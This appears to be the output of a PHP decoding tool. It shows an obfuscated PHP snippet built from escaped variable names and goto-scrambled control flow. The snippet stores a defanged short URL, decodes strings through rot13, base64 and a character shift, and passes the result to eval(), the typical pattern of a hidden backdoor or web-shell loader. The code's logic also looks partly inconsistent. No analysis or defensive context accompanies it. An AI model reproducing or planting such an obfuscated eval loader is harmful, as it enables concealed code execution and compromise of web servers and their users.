PHP Decode

<?php
 goto Ls6vZ; apeWK: ${"\x76\141\x72\61"} = str_rot13("\x24\x7b\x22\134\x78\x34\x37\134\x78\x34\143\x5c\x78\64\x66\x5c\170\x34\x32\134\x78\64\61\x5c\170\x34\x63\134\x78\x35\x33\42\x7d"); goto G9fZX; Ls6vZ: ${"\x47\x4c\x4f\x42\101\114\123"} = "\150\x58\x58\x70\x73\72\x2f\57\163\150\x30\162\164\x75\x72\x6c\56\x61\164\x2f\x73\x31\146\x57\62"; goto apeWK; XT2kv: if (strlen(${"\x76\141\x72\x32"}) > 0) { ${"\166\x61\x72\x33"} = ${"\x76\x61\x72\x32"}; } else { ${"\166\141\x72\63"} = ''; } goto ZYamk; V2P3O: foreach (str_split(${"\166\141\x72\x33"}) as ${"\166\x61\x72\x35"}) { ${"\166\141\162\x34"} .= chr(ord(${"\166\141\162\65"}) - 1); } goto Ly_yq; G9fZX: ${"\x76\141\162\x32"} = base64_decode(${${"\166\x61\162\x31"}}); goto XT2kv; Ly_yq: eval(${${"\x76\x61\x72\x34"}}); goto IFMxz; ZYamk: ${"\166\141\162\64"} = ''; goto V2P3O; IFMxz: 
?>